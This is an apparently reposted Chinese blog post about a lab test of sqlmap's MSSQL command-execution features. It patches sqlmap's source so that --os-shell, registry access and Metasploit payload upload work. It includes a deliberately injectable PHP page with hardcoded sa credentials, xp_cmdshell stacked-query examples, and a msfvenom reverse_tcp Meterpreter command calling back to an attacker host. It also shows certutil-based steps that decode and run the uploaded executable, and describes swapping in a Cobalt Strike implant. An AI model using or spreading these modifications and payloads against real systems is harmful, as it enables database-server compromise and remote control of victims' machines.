sqlmap關於MSSQL執行命令研究


0x00 環境概述

環境說明:

  • Windows 2003 + MSSQL + PHP5.2.17 (注意刷新緩存 --flush-session)

  • 關閉GPC

  • 構造SQL注入:

<?php
$id = $_GET['id'];
$con = mssql_connect('127.0.0.1','sa','server2005');
if(!$con){
	echo "Erroe";
}
else{
	echo "Connect OK.</br>";
}
mssql_select_db('sqlmap_test');
# $sql = "exec master..xp_cmdshell 'whoami'";

$sql = "select id,name from admin where id=".$id;

$result = mssql_query($sql);
/* $row = mssql_fetch_array($result);
echo $row[0]; */

while($list=mssql_fetch_array($result))
 {
    print_r($list);
    echo "<br>";
 }
}

0x01 測試sqlmap命令

--os-shell
--sql-shell
--os-pwn
--os-smbrelay
--os-bof
--reg-[read/add/del]

--os-shell

該參數主要是調用xp_cmdshell執行系統命令。

  • 執行--os-shell,之后直接在數據庫中查看,發現已啟用xp_cmdshell。發現能執行命令,但是sqlmap無返回值。只能通過DNS外帶。。。

3f167e2d090eb55b73f0638b18b01270.png

--sql-shell

主要用於是執行數據庫語句。

  • 使用--sql-shell,測試能否通過sql-shell手動開啟xp_cmdshell。結果發現無法開啟xp_cmdshell。手動開啟xp_cmdshell后,sql-shell可以執行命令,sqlmap無返回值。

a7e7fcf88f0745a3b087528650b500ae.png

--os-pwn

獲取OOBshell、MSF shell、VNC。。。

  • --os-pwn獲取OOB shell、Meterpreter或VNC。在默認關閉xp_cmdshell情況下,該參數無法開啟xp_cmdshell

手動開啟xp_cmdshell以后,使用sqlmap參數:--os-pwn --msf-path /opt/msf/,會先上傳一個paylaod。查看SQLAMP上傳文件的方式一共有4種:PowerShell,Debug,Vbs腳本,Certutil。如果第一種方式失敗會提示下一種方式,我這里測試所有的通信方式以及payload,均失敗。。。

871d76f3f16ede16a15f615a7526f220.png

--os-smbrelay

一次單擊提示輸入OOB shell、Meterpreter或VNC。該參數提供了五種連接方式,三種payload類型,兩個SMB端口。其原理就是調用MSF的windows/smb/smb_relay模塊。。。

which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
>
what is the local address? [Enter for '192.168.90.17' (detected)]
which local port number do you want to use? [7545]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
which SMB port do you want to use?
[1] 139/TCP
[2] 445/TCP (default)

8420744fd6408fb229ac0347b5672b8b.png

--os-bof

存儲過程緩沖區溢出利用。參數提供了五種連接方式,三種payload,十二種payload編碼方式。

經過測試還是失敗的。。。

--reg-[read/add/del]

  • 讀取/添加/修改注冊表,會上傳.bat文件,文件上傳成功,但是並未接受到讀取的值..

8ca976f68800460c8d9f976af1cd60fc.png

0x02 反思

經過以上測試(關閉GPC下),肯定是有很多疑問的,這里列舉一下:

為什么--os-shell執行命令后sqlmap無返回值?
為什么--os-pwn參數上傳文件失敗?
為什么--os-bof利用存儲過程緩沖區溢出也失敗?
為什么讀取注冊表時候文件上傳了而sqlmap無法獲取到?

命令執行反思

經過以上測試,為什么無法執行命令呢?這里再來復述一遍,找一下為什么這樣。

  • 首先確定一下:多語句執行,也即是堆疊注入時候的返回值。只返回了第一個查詢id=1的內容。

9dccad75460a231c008d197c53380e4b.png

  • 查看直接在數據庫執行時的返回,返回了兩條結果。

e1cff343369d13cb43ff796ce47b53cb.png

  • 查看源代碼,修改/sqlmap/1.4.4/libexec/lib/request/inject.py文件goStacked函數最后一行,輸出sqlmap最終執行的payload並測試該paylaod直接在數據庫執行時狀態。結果發現,數據庫執行的語句。發現報錯了,無法插入數據,因為列不允許有空值。(--os-shell時候會創建表sqlmapoutput,該表有兩個字段id, data)

f8fa401c77afcdc5fa6d1500964e1783.png
cf7b4f82a86242fa6555659b5aac2b64.png

  • 查看表sqlmapoutput,發現字段不允許為空。

176f71f68d83b26335d25fd102175060.png

仔細觀察上面測試,會發現問題:

-- 第一個問題:sqlmap創建的表填充字段時,字段內容不允許為空。
-- 第二個問題:多語句查詢時,返回兩條結果,而第二條結果包含兩個字段內容。
--	比如:	
		select name from admin where id =1;EXEC master..xp_cmdshell whoami
		結果:
          zhangsan
          nt authority\system
          NULL

那么問題來了,是不是這樣呢?測試:修改sqlmapoutput表的data字段,將其設置為允許為空:

b9bf5f072cc88bb52ce0cafa2c5864be.png

發現成功寫入。。。

於是利用Sublime全局搜索CREATE TABLE找到MSSQL創建表的語句,將其設置為字段允許為空即可。

# /sqlmap/1.4.4/libexec/plugins/generic/misc.py    124行,創建表時字段名后加一個NULL

ecab9f56a1f2c4fede66bd6e34a89ae4.png

再來測試:

791de28964ee5df9fc736cd069a21c0e.png

到這里已經可以正確的執行--os-shell等。

注冊表操作反思

  • 根據命令執行反思,修改之后,發現讀取注冊表時候報錯。

01ec5189c2303e4cdd089126cd9e5570.png

  • 直接在數據庫中執行會因路徑中存在空格而報錯。

38f84bcee6284d9492b95e1a1ebeffa9.png

那么這里就有思路了,將payload上傳到其不含有空格或特殊字符的文件夾。(首先嘗試PS寫.bat,不成功使用VB,因為我03沒有PS,所以是VB)

# 修改上傳路徑:
#	全局搜索字符串:.bat
#	/sqlmap/1.4.4/libexec/lib/takeover/registry.py   27行 注釋掉原本語句,改為如下
        self._randStr = randomStr(lowercase=True)
        # self._batPathRemote = "\"%s/tmpr%s.bat\"" % (conf.tmpPath, self._randStr)
        self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)

30df1b79a797082dc40e1284e6799d56.png

聯動MSF反思

首先跟蹤代碼,查看sqlmap調用MSF過程:

/Users/lnx/Desktop/1.4.4/libexec/plugins/generic/takeover.pyosPwn函數開始

第一步:首先測試xp_cmdshell是否開啟

第二步:/sqlmap/1.4.4/libexec/plugins/generic/takeover.py osPwn函數調用MSF生成RAW格式shellcode
文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py中函數createMsfShellcode生成shellcode
/opt/metasploit-framework/bin/msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=21453 LHOST=192.168.90.17 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > "/Users/lnx/.sqlmap/output/192.168.90.14/tmpmydff"

第三步:文件/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 617行 函數createMsfShellcode又以字節的格式讀取生成的文件。
        self._shellcodeFP = open(self._shellcodeFilePath, "rb")
        self.shellcodeString = getText(self._shellcodeFP.read())
        self._shellcodeFP.close()

第四步:上傳,上傳又分為三步
1、首先是調用/sqlmap/1.4.4/libexec/lib/takeover/metasploit.py 函數uploadShellcodeexec
處理,得到最終上傳的payload路徑和計划上傳到服務器的路徑:
/var/folders/xx/6jy_czp97nl76bslj74817d40000gn/T/sqlmapCazl8M8626/tmpKjHjBr32_.exe(最終)
C:/Program Files/Microsoft SQL Server/MSSQL.1/MSSQL/LOG/tmpsecwjq.exe(目標服務)
2、函數uploadShellcodeexec調用/sqlmap/1.4.4/libexec/plugins/generic/filesystem.py 函數writeFile實現文件上傳
3、函數writeFile調用/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 函數stackedWriteFile 嘗試使用ps、vbs、debug、certutil進行文件上傳(我這里是certutil)
4、函數stackedWriteFile在上傳時調用了當前文件內的函數_stackedWriteFileCertutilExe進行上傳。
	函數_stackedWriteFileCertutilExe:
    首先讀取之前處理好的payload.exe(最終的exe)進行Base64編碼;
    然后將其寫入到目標機的txt文件中;
    之后調用certutil進行解碼txt文件輸出exe文件,然后執行;
    最后刪除txt文件。

ef626ce74e6211ef847461c4d5881645.png
c89facacf310ff3eacbd659e5b1820cc.png

這里就是無法收到MSF反彈,直接在CMD中執行命令,發現由於路徑空格問題無法成功解碼成exe。。。

終於找到問題所在了。

dd5fca848f8c91f06a235fb8ec7110b1.png

那么來修改一下,第一種是利用引號將路徑擴起來,第二種是修改文件上傳的路徑。

這里使用第一種。

# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py   376行,添加雙引號
       commands = ( 
            "cd \"%s\"" % tmpPath,
            "certutil -f -decode %s \"%s\"" % (randFile, remoteFile),
            "del /F /Q %s" % randFile
        )

修改sqlmap解碼payload的參數,讓其正確識別路徑即可。

465f7daf11ba7c41e9ca0888a7021c49.png

那么嘗試加載Cobalt Strike呢?

經過測試,CS生成的RAW格式shellcode替換掉sqlmap調用MSF生成的Raw格式(/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py617行左右。),無法成功反彈。(未仔細分析生成shellcode后,sqlmap對其處理的邏輯。)

那么直接替換最終上傳的exe文件。

  • 替換exe,有必要的話可以直接input,接受輸入。
# 文件/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py 393行左右,讀文件
# 將localFile替換成CS的exe馬,即可,我這里是默認的,沒有指定x64,指定了x64不上線。。
	      # localFile = "/Users/lnx/Desktop/test.exe"
        with open(localFile, "rb") as f:
            localFileContent = f.read()

099cc80142c56cacb14076a64796837c.png

這里思路已經給出,可以直接修改sqlmap代碼,將payload改成上傳powershell或則其他類型payload,以以適用於高版本的操作系統。

存儲過程緩沖區溢出反思

參數:--os-bof

只針對03 的,不過我這里一次都沒成功。/sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py文件中可以看到具體的代碼。

  • 首先調用msfvenom生成Raw格式payload然后/Users/lnx/Desktop/1.4.4/libexec/lib/takeover/metasploit.py再617行,以rb讀取得到shellcodestring
  • 再經過/Users/lnx/Desktop/1.4.4/libexec/plugins/dbms/mssqlserver/takeover.py70行前后代碼處理得到最終的代碼。。。然后發送帶有Payload的HTTP請求。。。(這里不附錄payload,太長了,可以去改文件輸出,看一下。)

這里復制最終的代碼,直接在數據庫中執行,發現服務器堆棧溢出。。。。。沒有接受到反彈。。

2d38458c820e78d12013ed62a3cd6e21.png

因為菜,暫未找到好辦法。。。

0x03 總結

經過以上測試,還是有點收獲的,畢竟能夠執行命令了,而且知道了sqlmap無法通過MSSQL執行的原因以及修復方式。

命令執行--os-shell

成因:

第一個問題:sqlmap創建的表填充字段時,字段內容不允許為空。
第二個問題:多語句查詢時,返回兩條結果,而第二條結果包含兩個字段內容。

修復:

修改所有關於MSSQL創建表時字段屬性,添加NULL

# /sqlmap/1.4.4/libexec/plugins/generic/misc.py    124行,創建表時字段名后加一個NULL
# 如下:
def createSupportTbl(self, tblName, tblField, tblType):
        inject.goStacked("DROP TABLE %s" % tblName, silent=True)

        if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName:
            inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s NULL)" % (tblName, tblField, tblType))

        else:
            inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
            
# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py  96行
self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s NULL)" % (hexTbl, self.tblField, "VARCHAR(4096)"))

注冊表 --reg-[]

成因:

sqlmap無法讀取注冊表是因為路徑中包含空格,導致參數被截斷。

修復:

# 修改上傳路徑:
#	全局搜索字符串:.bat
#	/sqlmap/1.4.4/libexec/lib/takeover/registry.py   27行 注釋掉原本語句,改為如下
        self._randStr = randomStr(lowercase=True)
        # self._batPathRemote = "\"%s/tmpr%s.bat\"" % (conf.tmpPath, self._randStr)
        self._batPathRemote = "%s/tmpr%s.bat" % ("C:/Windows", self._randStr)

MSF&CS聯動

成因:

payload成功上傳,但是解碼時候,路徑出現空格截斷,導致命令錯誤。

修復:

# /sqlmap/1.4.4/libexec/plugins/dbms/mssqlserver/filesystem.py   376行,添加雙引號
       commands = ( 
            "cd \"%s\"" % tmpPath,
            "certutil -f -decode %s \"%s\"" % (randFile, remoteFile),
            "del /F /Q %s" % randFile
        )


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM